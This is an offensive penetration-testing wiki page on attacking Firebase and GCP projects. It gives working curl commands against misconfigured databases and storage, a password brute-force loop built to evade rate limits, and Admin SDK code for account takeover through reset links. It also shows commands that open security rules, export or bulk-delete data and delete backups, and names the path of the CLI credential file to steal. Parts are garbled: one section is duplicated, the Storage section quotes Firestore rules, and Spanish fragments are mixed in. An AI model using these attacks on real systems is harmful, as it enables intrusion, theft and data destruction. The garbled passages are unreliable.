GCP - Firebase Privesc

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Firebase

Unauthenticated access to Firebase Realtime Database

An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Firebase Realtime Database security rules, where the rules are set with .read: true or .write: true, allowing public read or write access.

The attacker must identify the database URL, which typically follows the format: https://<project-id>.firebaseio.com/.

This URL can be found through mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), analyzing configuration files such as google-services.json (Android) or GoogleService-Info.plist (iOS), inspecting the source code of web applications, or examining network traffic to identify requests to *.firebaseio.com domains.

The attacker identifies the database URL and checks whether it is publicly exposed, then accesses the data and potentially writes malicious information.

First, they check whether the database allows read access by appending .json to the URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

If the response contains JSON data or null (instead of “Permission Denied”), the database allows read access. To check write access, the attacker can attempt to send a test write request using the Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

If the operation succeeds, the database also allows write access.

Exposure of data in Cloud Firestore

An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Cloud Firestore security rules where the rules allow read or write access without authentication or with insufficient validation. An example of a misconfigured rule that grants full access is:

service cloud.firestore {
  match /databases/{database}/documents/{document=**} {
    allow read, write: if true;
  }
}

This rule allows anyone to read and write all documents without any restrictions. Firestore rules are granular and apply per collection and document, so an error in a specific rule may expose only certain collections.

The attacker must identify the Firebase Project ID, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications, or analyzing network traffic to identify requests to firestore.googleapis.com. The Firestore REST API uses the format:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

If the rules allow unauthenticated read access, the attacker can read collections and documents. First, they attempt to access a specific collection:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

If the response contains JSON documents instead of a permission error, the collection is exposed. The attacker can enumerate all accessible collections by trying common names or analyzing the structure of the application. To access a specific document:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

If the rules allow unauthenticated write access or have insufficient validation, the attacker can create new documents:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
  -H "Content-Type: application/json" \
  -d '{
    "fields": {
      "name": {"stringValue": "Test"},
      "email": {"stringValue": "test@example.com"}
    }
  }'

Para modificar un documento existente se debe utilizar PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
  -H "Content-Type: application/json" \
  -d '{
    "fields": {
      "role": {"stringValue": "admin"}
    }
  }'

Para eliminar un documento y causar denegación de servicio:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Exposure of files in Firebase Storage

An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that there is a vulnerable configuration in the Firebase Storage security rules where the rules allow read or write access without authentication or with insufficient validation. Storage rules control read and write permissions independently, so an error in a rule may expose read access only, write access only, or both. An example of a misconfigured rule that grants full access is:

service cloud.firestore {
  match /databases/{database}/documents/{document=**} {
    allow read, write: if true;
  }
}

This rule allows read and write access to all documents without any restrictions. Firestore rules are granular and are applied per collection and per document, so an error in a specific rule may expose only certain collections. The attacker must identify the Firebase Project ID, which can be found through mobile application reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspection of web application source code, or network traffic analysis to identify requests to firestore.googleapis.com. The Firestore REST API uses the format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

If the rules allow unauthenticated read access, the attacker can read collections and documents. First, they attempt to access a specific collection.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

If the response contains the list of files instead of a permission error, the file is exposed. The attacker can view the contents of the files by specifying their path:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

If the rules allow unauthenticated write access or have insufficient validation, the attacker can upload malicious files. To upload a file through the REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
  -H "Content-Type: <content-type>" \
  --data-binary @<local-file>

The attacker can upload code shells, malware payloads, or large files to cause a denial of service. If the application processes or executes uploaded files, the attacker may achieve remote code execution. To delete files and cause a denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocation of public Firebase Cloud Functions

An attacker does not need any specific Firebase permissions to exploit this issue; it only requires that a Cloud Function is publicly accessible over HTTP without authentication.

A function is vulnerable when it is insecurely configured:

  • It uses functions.https.onRequest, which does not enforce authentication (unlike onCall functions).
  • The function’s code does not validate user authentication (e.g., no checks for request.auth or context.auth).
  • The function is publicly accessible in IAM, meaning allUsers has the roles/cloudfunctions.invoker role. This is the default behavior for HTTP functions unless the developer restricts access.

Firebase HTTP Cloud Functions are exposed through URLs such as:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

An attacker can discover these URLs through source code analysis, network traffic inspection, enumeration tools, or mobile app reverse engineering. If the function is publicly exposed and unauthenticated, the attacker can invoke it directly without credentials.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
  -H "Content-Type: application/json" \
  -d '{"param1": "value1", "param2": "value2"}'

If the function does not properly validate inputs, the attacker may attempt other attacks such as code injection or command injection.

Brute-force attack against Firebase Authentication with a weak password policy

An attacker does not need any specific Firebase permissions to carry out this attack. It only requires that the Firebase API Key is exposed in mobile or web applications, and that the password policy has not been configured with stricter requirements than the defaults.

The attacker must identify the Firebase API Key, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications (e.g., in bootstrap.js), or analyzing network traffic.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> to authenticate with email and password.

If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.

It is important to note that Firebase Authentication enforces rate limiting, which can block requests if too many authentication attempts occur in a short time. Because of this, an attacker would have to introduce delays between attempts to avoid being rate-limited.

The attacker identifies the API Key and performs authentication attempts with multiple passwords against known accounts. If Email Enumeration Protection is disabled, the attacker can enumerate existing users by analyzing the error responses:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
  -H "Content-Type: application/json" \
  -d '{
    "email": "usuario@example.com",
    "password": "password",
    "returnSecureToken": true
  }'

If the response contains EMAIL_NOT_FOUND, the email does not exist in the system. If it contains INVALID_PASSWORD, the email exists but the password is incorrect, confirming that the user is registered. Once a valid user is identified, the attacker can perform brute-force attempts. It is important to include pauses between attempts to avoid Firebase Authentication’s rate-limiting mechanisms:

counter=1
for password in $(cat wordlist.txt); do
  echo "Intento $counter: probando contraseña '$password'"
  response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

  if echo "$response" | grep -q "idToken"; then
    echo "Contraseña encontrada: $password (intento $counter)"
    break
  fi

  # Stop for the rate limiting
  sleep 1
  counter=$((counter + 1))
done

With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.

User management in Firebase Authentication

The attacker needs specific Firebase Authentication permissions to carry out this attack. The required permissions are:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to retrieve user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

These permissions are included in the roles/firebaseauth.admin role, which grants full read/write access to Firebase Authentication resources. They are also included in higher-level roles such as roles/firebase.developAdmin (which includes all firebaseauth.* permissions) and roles/firebase.admin (full access to all Firebase services).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (JSON file), which might be found on compromised systems, publicly exposed code repositories, compromised CI/CD systems, or through the compromise of developer accounts that have access to these credentials.

The first step is to configure the Firebase Admin SDK using service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

To create a malicious user using a victim’s email, the attacker would attempt to use the Firebase Admin SDK to generate a new account under that email.

user = auth.create_user(
    email='victima@example.com',
    email_verified=False,
    password='password123',
    display_name='Usuario Malicioso',
    disabled=False
)
print(f'Usuario creado: {user.uid}')

To modify an existing user, the attacker would update fields such as the email address, verification status, or whether the account is disabled.

user = auth.update_user(
    uid,
    email='nuevo-email@example.com',
    email_verified=True,
    disabled=False
)
print(f'Usuario actualizado: {user.uid}')

To delete a user account and cause a denial of service, the attacker would issue a request to remove the user entirely.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

The attacker can also retrieve information about existing users by requesting their UID or email address.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Additionally, the attacker could generate verification links or password-reset links in order to change a user’s password and gain access to their account.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

User management in Firebase Authentication

An attacker needs specific Firebase Authentication permissions to carry out this attack. The required permissions are:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to obtain user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

These permissions are included in the roles/firebaseauth.admin role, which grants full read/write access to Firebase Authentication resources. They are also part of higher-level roles such as roles/firebase.developAdmin (which includes all firebaseauth.* permissions) and roles/firebase.admin (full access to all Firebase services).

To use the Firebase Admin SDK, the attacker would need access to service account credentials (a JSON file), which could be obtained from compromised systems, publicly exposed code repositories, compromised CI/CD environments, or through the compromise of developer accounts that have access to these credentials.

The first step is to configure the Firebase Admin SDK using service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

To create a malicious user using a victim’s email, the attacker would attempt to create a new user account with that email, assigning their own password and profile information.

user = auth.create_user(
    email='victima@example.com',
    email_verified=False,
    password='password123',
    display_name='Usuario Malicioso',
    disabled=False
)
print(f'Usuario creado: {user.uid}')

To modify an existing user, the attacker would change fields such as the email address, verification status, or whether the account is disabled.

user = auth.update_user(
    uid,
    email='nuevo-email@example.com',
    email_verified=True,
    disabled=False
)
print(f'Usuario actualizado: {user.uid}')

To delete a user account—effectively causing a denial of service—the attacker would issue a request to remove that user permanently.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

The attacker could also retrieve information about existing users, such as their UID or email, by requesting user details either by UID or by email address.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Additionally, the attacker could generate verification links or password-reset links, enabling them to change the password of a user and take control of the account.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modification of security rules in Firebase services

The attacker needs specific permissions to modify security rules depending on the service. For Cloud Firestore and Firebase Cloud Storage, the required permissions are firebaserules.rulesets.create to create rulesets and firebaserules.releases.create to deploy releases. These permissions are included in the roles/firebaserules.admin role or in higher-level roles such as roles/firebase.developAdmin and roles/firebase.admin. For Firebase Realtime Database, the required permission is firebasedatabase.instances.update.

The attacker must use the Firebase REST API to modify the security rules. First, the attacker would need to obtain an access token using service account credentials. To obtain the token:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

To modify Firebase Realtime Database rules:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "rules": {
      ".read": true,
      ".write": true
    }
  }'

To modify Cloud Firestore rules, the attacker must create a ruleset and then deploy it:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "source": {
      "files": [{
        "name": "firestore.rules",
        "content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
      }]
    }
  }'

The previous command returns a ruleset name in the format projects//rulesets/. To deploy the new version, the release must be updated using a PATCH request:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "release": {
      "name": "projects/<project-id>/releases/cloud.firestore",
      "rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
    }
  }'

To modify Firebase Cloud Storage rules:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "source": {
      "files": [{
        "name": "storage.rules",
        "content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
      }]
    }
  }'

The previous command returns a ruleset name in the format projects//rulesets/. To deploy the new version, the release must be updated using a PATCH request:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
  -H "Authorization: Bearer $ACCESS_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "release": {
      "name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
      "rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
    }
  }'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore uses the same infrastructure and permission system as Cloud Datastore, so Datastore IAM permissions apply directly to Firestore. To manipulate TTL policies, the datastore.indexes.update permission is required. To export data, the datastore.databases.export permission is required. To import data, the datastore.databases.import permission is required. To perform bulk data deletion, the datastore.databases.bulkDelete permission is required.

For backup and restore operations, specific permissions are needed:

  • datastore.backups.get and datastore.backups.list to list and retrieve details of available backups
  • datastore.backups.delete to delete backups
  • datastore.backups.restoreDatabase to restore a database from a backup
  • datastore.backupSchedules.create and datastore.backupSchedules.delete to manage backup schedules

When a TTL policy is created, a designated property is selected to identify entities that are eligible for deletion. This TTL property must be of the Date and time type. The attacker can choose a property that already exists or designate a property that they plan to add later. If the value of the field is a date in the past, the document becomes eligible for immediate deletion. The attacker can use the gcloud CLI to manipulate TTL policies.

# Enable TTL 
gcloud firestore fields ttls update expireAt \
  --collection-group=users \
  --enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
  --collection-group=users \
  --disable-ttl

To export data and exfiltrate it, the attacker could use the gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

To import malicious data:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

To perform mass data deletion and cause a denial of service, the attacker could use the gcloud Firestore bulk-delete tool to remove entire collections.

gcloud firestore bulk-delete \
  --collection-ids=users,posts,messages \
  --database='(default)' \
  --project=<project-id>

For backup and restoration operations, the attacker could create scheduled backups to capture the current state of the database, list existing backups, restore from a backup to overwrite recent changes, delete backups to cause permanent data loss, and remove scheduled backups. To create a daily backup schedule that immediately generates a backup:

gcloud firestore backups schedules create \
  --database='(default)' \
  --recurrence=daily \
  --retention=14w \
  --project=<project-id>

To restore from a specific backup, the attacker could create a new database using the data contained in that backup. The restore operation writes the backup’s data into a new database, meaning that an existing DATABASE_ID cannot be used.

gcloud firestore databases restore \
  --source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
  --destination-database='<new-database-id>' \
  --project=<project-id>

To delete a backup and cause permanent data loss:

gcloud firestore backups delete \
  --backup=<backup-id> \
  --project=<project-id>

Theft and misuse of Firebase CLI credentials

An attacker does not need specific Firebase permissions to carry out this attack, but they do need access to the developer’s local system or to the Firebase CLI credentials file. These credentials are stored in a JSON file located at:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

This file contains authentication tokens, including the refresh_token and access_token, which allow the attacker to authenticate as the user who originally ran firebase login.

The attacker gains access to the Firebase CLI credentials file. They can then copy the entire file to their own system, and the Firebase CLI will automatically use the credentials from its default location. After doing so, the attacker can view all Firebase projects accessible to that user.

firebase projects:list

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks